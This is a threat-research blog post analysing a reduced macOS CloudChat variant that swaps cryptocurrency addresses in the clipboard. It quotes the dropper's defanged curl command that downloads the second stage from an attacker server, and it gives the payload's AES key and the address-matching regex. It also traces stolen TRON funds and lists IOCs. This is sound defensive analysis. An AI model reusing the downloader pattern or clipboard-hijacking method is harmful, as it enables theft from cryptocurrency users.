Summary #
In April 2024, Kandji released a report detailing the functionality of a new macOS stealer called CloudChat. It featured several stages, and was primarily focused on stealing cryptocurrency.
This post examines an additional variant that has a significantly reduced feature set. So much so that it that almost makes it not a stealer anymore. The malware no longer exports files using a C2, Telegram bot, or FTP, and instead solely relies on replacing wallet addresses in the users clipboard.
In addition to looking at the new sample, I also quickly look at some of the activity in several of the attacker controlled TRON wallets. It can be observed that the attacker is likely using OKX and Binance exchanges to cash out funds stolen using CloudChat.
The structure of the malware is the same as before:
Dropper Analysis: libCloudchat.dylib
#
As was the case in the previous CloudChat sample, most of the malicious functionality is found in a dylib. The primary change with this version is that the second stage downloaded by the malicious dylib is compressed and encrypted.
First the dylib checks if the second stage is already running by calling isProcessRunning()
, which is just a wrapper for ps -ef
. If it finds the name .apple.finder
in that output it will just return and do nothing.
isProcRunning, err = _main.isProcessRunning(arg1)
if (isProcRunning.b == 0) {
...
}
Next, it’ll query ip-api.com
by running curl http://ip-api.com
and check if China
is in the response. If this is the case it will also return and do nothing. Once all of these checks are complete, it will proceed with downloading and running the next stage, which is a macho containing the actual stealer(?) code.
To actually download the second stage it runs:
curl http[:]//104.156.239[.]74/api/products
saving the output to .apple.finder
or .Safari_V8_config
depending on the sample. This is where the primary difference between this version and the previous sample comes in as it calls decryptAndDecompressFile()
before executeFileInBackground()
.
The AES key is stored in a global variable _main.key
, with a value of b9rFGCQHMoYycDRs2fwOvnpi5StI70Eq
. The payload is first decompressed using gzip, the first 16 bytes are pulled out as the IV (initialization vector). Then AES CFB is used to decrypt the actual malicious dylib.
Will all of this in mind, we can use a simple CyberChef recipe to replicate that routine.
A quick explanation of what this is doing:
- Decompress using gunzip
- Convert the file to hex, just for ease of extracting the IV
- Extract the first 16 bytes (IV) and store in register R0
- Drop the the first 16 bytes from the start of the decompressed blob
- Decrypt the content using the key and the IV stored in R0
In the output window, you can see the section names for a macho written in Go - alternatively you can use Detect File Type
to confirm that the output is a dylib.
Second Stage: .apple.finder
#
The binary that gets dropped by libCloudChat.dylib
is what contains the actual stealer portion of the code. Compared to the version that was analyzed by
Kandji it is very slimmed down, missing much of the impressive functionality. Quickly diffing the symbols from both shows how much the new binary has been slimmed:
The functionality that does remain is almost identical, with just a few obvious changes (like the staging server address). Main is just a while loop, which frequently reads the contents of the clipboard, looking for BTC, ETH, or TRON wallet strings using this regular expression:
0x[a-fA-F0-9]{0,40}\\b|T[a-zA-Z0-9]{0,33}\\b|bc1[qp][a-zA-Z0-9]{0,38}\\b
If a match is found, CloudChat will replace the clipboard contents with an attacker controlled wallet string picked at random from a list embedded in the binary. Since the binary is written in Go, there is some funkiness when it comes to identifying string structures. The wallet addresses referenced by symbols like _main.ethAddresses
should point to an array of string structures but by default looks like this:
In Go, strings are stored in a blob, and then referenced using something like the following:
type string struct {
str_ptr *byte // actual chars in the string
str_len int // how long the string is
}
To clean up our decompilation, we can define a new type that accounts for this. After defining the type, we can create an array of Go strings, which gives us much prettier output 🥰:
To programmatically dump the wallet addresses, we can just reference the members of the structure and extract the content from the blob:
def dump_string_table(addr: int, size: int):
head = bv.get_data_var_at(addr)
if head.type.name == "wallet_addresses":
table = head["array"].value
for i in table:
print(bv.read(i["str_ptr"], i["str_size"]).decode("utf8"))
Then to use this we can simply call the function with the addresses referenced by the constants!
wallet_symbols = ["_main.ethAddresses", "_main.tronAddresses", "_main.btcAddresses"]
for i in wallet_symbols:
symbol_addr = bv.get_symbols_by_name(i)[0].address
table_addr = bv.get_data_var_at(symbol_addr).value
print(f"{i.split('.')[-1]}")
dump_string_table(table_addr, 0x28)
Since both .apple.finder
and .Safari_V8_config
aren’t garbled this will extract the attacker controlled wallets from both (they’re the same but w/e). You could also just use regex but where’s the fun in that :)
That’s pretty much all there is to the binary! If I was guessing, the reason for the reduced functionality is that the attackers probably realized that there isn’t a huge need to maintain infra or exfil content when the clipboard polling approach is similarly effective and slightly more stealthy.
Crypto Investigation #
Since we have a good number of attacker controlled wallet strings, I figured it’d be worth seeing if any of them have any activity. None of the Ethereum or Bitcoin addresses had any transfer activity, which is good! TRON though, is where stuff starts to get interesting. Of the 40 potential wallets, 8 have significant amounts of activity. Most transactions are USDT transfers, with small amounts of TRON getting moved around as well.
I’ll preface the rest of this analysis with, I generally avoid crypto like the plague, so don’t take this analysis as gospel and do your due diligence.
TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK
TDWLFcXV9RnVDTgXq8ZvawiHhPxE8Udgf7
TEYm6wiTW9LkoBtb1whYP8xz2mBtaARuxT
TZ3utnnqVLFisFeC7Uhw1Jp3xL1DAnMGfL
TMsbDvf8RX4zXf3Q47Ab5Zy5Y4S41f24FH
TYwfG4KPt6NVgGtghMeM1MshD3nKSpf5gY
TCXsxTnWH3CkS39w3SN9bK6CcxUr5pYyVy
TWEjBmmoYRypov1WPfwX28N5QEkvqMdt1U
Using tools like OKLink and TronScan we can look at the activity for these wallets. Many of them have both TRON transactions:
Several of the wallets end up dumping their funds into just two addresses: TWF213NdW7YYYpMECzqtd4yeNFwXCf8vub
and TU4PKA5fzWbdSTyBuso9ATGfTcVwd3Js4r
. From there, the funds deposited into the first address were converted out per
OKX. The second address, deposits into several Binance accounts, as well as sending other funds into less obvious endpoints.
Interestingly, on some of these wallets, the attacker can be seen (presumably) buying small amounts of TRON to cover the gas fees for the USDT token transfers.
The largest single example of the attacker cashing out is on the address TWF213NdW7YYYpMECzqtd4yeNFwXCf8vub
where they move $1,300 of USDT to OKX’s deposit pool.
Most of this analysis is entirely based on the accuracy of the claims made by OKLink so as with most things crypto, it’s probable but not provable.
Conclusion #
Overall this was a weird development – rarely, if ever, do you see malware get less advanced (and that’s usually in cases where something gets leaked and skids make a mess of it). I’m definitely curious to see if future samples embrace malware minimalism or they return to the more complex version.
Note: At the time of writing, the “C2”/staging server is no longer active and I wasn’t able to identify any new servers.
As always, if anything in this post was incorrect, or you just have thoughts, please don’t hesitate to reach out @birchb0y on twitter :D!
IOCs #
Files #
Sample 1:
Filename | SHA256 |
---|---|
CloudChat(1).dmg | 79e98c9c4ecc0d2f75b25e613a268fd9a1b22f1a0357cc46d534e24230dcd3e2 |
CloudChat | ed3b2004a25828e2f2e7fa1527fbf8ac86f44df82c7566342c035da25f325317 |
libCloudchat.dylib | 4144f041d54bbf36284250d747104d730ba05fcf073dada51ca22cfc27907131 |
Updater | 7e333ceffebb1e8f2284bbb5610f196bc21681ae9defa35b9fd10b8f655a41f1 |
Downloaded .apple.finder | 22c3161c8d72f071fb6404538439d77c471a6da0d1368ee4ebe564f7c134e801 |
Decrypted .apple.finder | e3dab922229a16ff9ed5a8909595973c167d556516ccb3e384a7ad62cf75ba0a |
Infrastructure #
IP | Usage |
---|---|
104[.]156[.]239[.]74 | Second stage server |
Wallet Addresses #
Tron |
---|
TFX2Zhq24baHySSDzKVZMkkefeedg9AEtz |
TBCF8uoTWiqzHKwYbTUMsFRxDST2Ci268S |
TFNtyanZ49Cgm3RfUQbmU9eDDMLE2h6kp1 |
TLKXGDvJE72jTD6ZM7qAKTGY5vAqRvFyUo |
TURm4MjAsDrDb6J3qawnkESeFutzgUiBG8 |
TGGGx7KaJfCC4qjEKuNkto9vXn81bwdaNa |
TGDEkE8mH2rn3eY7jAXJ1m9SPYUxbvaRdC |
TXjW3y7AVZhNdRUzXsPUBeJz9cWGvykAha |
TTAjxFEPG1NcH6ePxicVetDLigM1riymjQ |
TRTjayycvyoWVTmuaL7SJwXi9nGMnU3MEK |
THJdjPgPGqEDMzaSnGH8EDUapDzwMd56Bv |
TVHuqEjGAqt9Ruiq57dfWiapHs7qdtefzD |
TCb9x23zi1vof5P7R2gYkSgBGxQbXJkrpW |
TSRQkqLdNJeq9A1rsFU7RLHiLHaor48M56 |
TDWLFcXV9RnVDTgXq8ZvawiHhPxE8Udgf7 |
TQsZB3t731Pfoq4EzJQq8CwZuJTSHsduFi |
TNxHhjAXjx5bkFWvwLEqAdxTQUJ777oo4b |
TEYm6wiTW9LkoBtb1whYP8xz2mBtaARuxT |
TUU8LkUBE5vYn4vqUeqqn1VoDsHw2189jq |
TSU38rL19kWXRXvZMJfgP1GrepLpbzgQ5N |
TU68gQEixQCmLjUxLiw3hAPHurHYaemesf |
TByfgkRUKpygHp5fWnNSWUPVQasi5XvkoP |
TKGRdTfQe1s9CpS66TVbRgXst3TgbyUK5Z |
TGizLBioZ2S1CWzneyozM6ET53RU3paoSo |
TZ3utnnqVLFisFeC7Uhw1Jp3xL1DAnMGfL |
TGpZ9TBQJDBh4Aa5PV94BQD69DNmqGb9gp |
TEygjK3E2kyo8yfw338BhTg9vVwKMZMBHk |
TYSv7ckv4NMMvk6RnFNuQ5TN957JkbuL8b |
TPThLA94qNRVkWr3iEiE95mRwTDaeKviB1 |
TMsbDvf8RX4zXf3Q47Ab5Zy5Y4S41f24FH |
TZAPWWuBvjtReKxQgnNf7arF7gy6PMtZ5X |
TKA3YYP6q1RKCzvo5PwrADCbLH5WVSM2uS |
TLCRceydJvcLgLKtmbfsHfDNvMQrcAoYe1 |
TYwfG4KPt6NVgGtghMeM1MshD3nKSpf5gY |
TGkkiK3DCLw8P2mucCSwUidXhK4tuR9wgD |
TCXsxTnWH3CkS39w3SN9bK6CcxUr5pYyVy |
TRpvSLFTo6FbCaNcQhTYgncQECe4YTgAh4 |
TFrndRw8MCFQCMGgzhGHFx2jEbQooAv1a5 |
TWJLk8uAL41ThP2H4Vtgqt5TFvzKLJ2AK7 |
TWEjBmmoYRypov1WPfwX28N5QEkvqMdt1U |
Bitcoin |
---|
bc1q33mhlmxhw7yt6tytjzy69jpeetjdrcaa9rfvz6 |
bc1qvl3qhgnz2lkkt5pagtmseda5lf2j9wvtdfs5lr |
bc1q5yz4yea3wz4njut62xmd25askm7944kag38adw |
bc1qfycyfyg3jvqrrcgz05hcyj0qq9ljm9qus7kxmt |
bc1qw4cdqzm09d9jel0dxn6effhy5vzdjafartprxg |
bc1qedxap7dxahf2jnrkpn37cnfqxnj8jqlc0c0zxc |
bc1qvrkz9c6y3tklv9fq89qakgaz0c48xxy2u2gdqw |
bc1qmpwpp5xn95kl4pcpys7yh6jcvuvkukfgslekcd |
bc1q66kru3lt52kfxza296wulgjxhw48cplhj5l67s |
bc1q4lqk467etckx495lh5rcdpfnnwhwsc07gqjuqk |
bc1q9pds4006q9kdy80g4z95kchsmuc0qklyx7jqf6 |
bc1qnr7lm3lvm5hxzfy6wymtx3ucjwlm5cv3p5zunt |
bc1qc8td9gtqzygu954g597c52pasmctpp5fwgr97m |
bc1qeyh0r6d8ykc30df836zvleqsv3wux756w9y4z2 |
bc1qrdsdj5r23d4jkg6pddmp42utjv4sxxalwakwze |
bc1qn6rh40uf5aw0z4t5nz4dk44tjm6n8yzhpns7fq |
bc1qhgymf3phyajthf7mefx9nvyp2cghugcjyw8ce9 |
bc1qxj53gpzsgv47qljyte0feqk8ptlk3q3aq8wuxf |
bc1qyvs9kpp3afay0kj7ewaya9d6p74eyu4axsnxjn |
bc1qmy267y0yqfv73qqp3fqzm7apphnwhld43d93r5 |
bc1qhgs6kjlkmjne4s3lv8jr0x2sknd7a2wh0h0awy |
bc1qtftyw4q5de40r0evpl25z2vqa25txa6t7eeamr |
bc1qv6zzj5wg7dxxsyafnhgrrznsusfyavdcftcale |
bc1q77raccy899k2hr0t37y7tvvl4yc67v3p0ejvwc |
bc1ql8esaw3s6270anhh4a4rjutc4e6edmjv2vrvfz |
bc1q8a42qpnj699dg83ymz4ejhxuz3fzl3lqx325py |
bc1qmm8e9xealw2dthhunylqcdrhj2gt2mvaa4v6vv |
bc1qdr8rr6l5usxspgx3p3tmnn9szcxp5p4s35yha8 |
bc1q2pmk3x37shpxy3zj376ty520a6et9yxpj2r6r8 |
bc1q6lpwdtjzehphsyy9hvk7mshfep6qldr86jdequ |
bc1q29kqdjfzse65l4vxtpr0zdmnqz3tknufm6hs2n |
bc1q42vdfnuna4x3agmzquhkwq2nh4z9v4x5kr2esy |
bc1qwwc6mzu3wv82zd3efc8rcjsw8dgn2dneqdhvqh |
bc1q32dfhrpd6tzzavn7rejtzfdf54mxata0tf8u0v |
bc1qllvnsvfte3rxa86ezz582zz3gfa2rkaucvk337 |
bc1qwcc7gchnrhu92yqejwh3ap6ax84mj7kczkvasu |
bc1qkv0tn4k63s2qz3vuj02g382x94almrksweeugm |
bc1q7x30qel558gmcx5tn304qeuhay4put4vgtpe9k |
bc1qlx45cf4l9rdypadl76esfs73ekc2jvceyz8vu6 |
bc1qzgh0tqgrl7kp6u0tapxs9a98g0pcz54grqhgw5 |
Ethereum |
---|
0x257bA4d18Ebf1Ad8E54da79E4ea42fb9BBFf1D99 |
0x0c9E64980f031fc221eD68906677Dbe88ba8583e |
0x0f1517708A01f20d95eF19CF3504fE634b26F0D7 |
0xc361c7a9af972d3b488e8F5DEf750F8835AE44cE |
0xe6Ae6AEe52446ac79b14Df23F0eD84A534480127 |
0xCf12EE986ef0a2721d52634A1DafDFd911f4320a |
0x11b0F8c8b2cAAdB82294d0cb89aa6cA5a80F4611 |
0xd089d76Dc63150108678e42e9FbCF83166cF70B4 |
0x6478ce1Beff15a6FaB0247F1cF3F1F8D152E8e4a |
0xa1a442a602813E0E6193fCD56447ffe5E28ebAf6 |
0xB750Ed87db187deE5E53d16fc3CC92A5Bad16e33 |
0x93e9fC94F72efE413BEFF1F2F0e35580c03c93f8 |
0x4B0b873767e9f39918b33e70ee37374c744CCC75 |
0x0608625a3A897Cd4Dd79718571509A64ba8c4894 |
0x207D6Ea7460258C6C1B7177AF3F4f73270D461e2 |
0xc61b3cc1e3Ad39dBE89035f6059823a64Ad61666 |
0x94171e588ffF78fb982d2aB0E15973B201e66439 |
0xa3d77B6C03898a193D166A71b6430E1C7b55D12c |
0xfC28611A05D1bE1ae61037c1dB4042f9C83B5C3A |
0xB8e19AC4bd44409644a3Afe77b4A6568EA7a62BF |
0x2BabBF079994E465785288639a6A67F16F6153ef |
0x1E5102D9f0E528533F496B8137a23A14E094654E |
0x4b1Fc0ccBc9df0C4eb37d009dFad8a357edf601A |
0x068210AB7A3C919ea9B93C8e86aE3273d6Ca323c |
0x3F4f7DC323FD349462582899a6d4aD962b4baD7b |
0x2b7857A5239CF1C3C64004e602241cf35a66D452 |
0xffFaA210C6611b90D1d65C97e5d143279D4C6a34 |
0x6Afab26aE9C7cA7c2FAe7009eCC87d9c0DF2F3A7 |
0x8da4e7a774e3Adf868Feb13aa6E88B7DE7706086 |
0x9F410fc7592515381Cf2ef069F7aAfafc87AB088 |
0x2F29093c569212421c1DfFE53a3a3bd5e1235aeA |
0xe23F2196C2395F8EfC5bd11Ef93Cb824E44dFc2a |
0x676705b9854FeDB3Ff5ADef13cF529565e096945 |
0x06c337806185A94D0Ac4464Add53e8CE0F4951b8 |
0xcBC173793A636689115a631D01B003A3Ee7C022c |
0xAE8534B71443778a43A00966EEB8fB0B152D3436 |
0xEd1cfb70d5686F9e0d7F5b6ef2f893CfF4b1EeC2 |
0x512ac1aD024c2BED431Ca4BA62124A31D3F22D5D |
0x36b0483F2bFC70cf3c9dF91757e1C8acbebeF034 |
0x9dc47B2d9922aBc8927461AAfEc3c8912c0292Fd |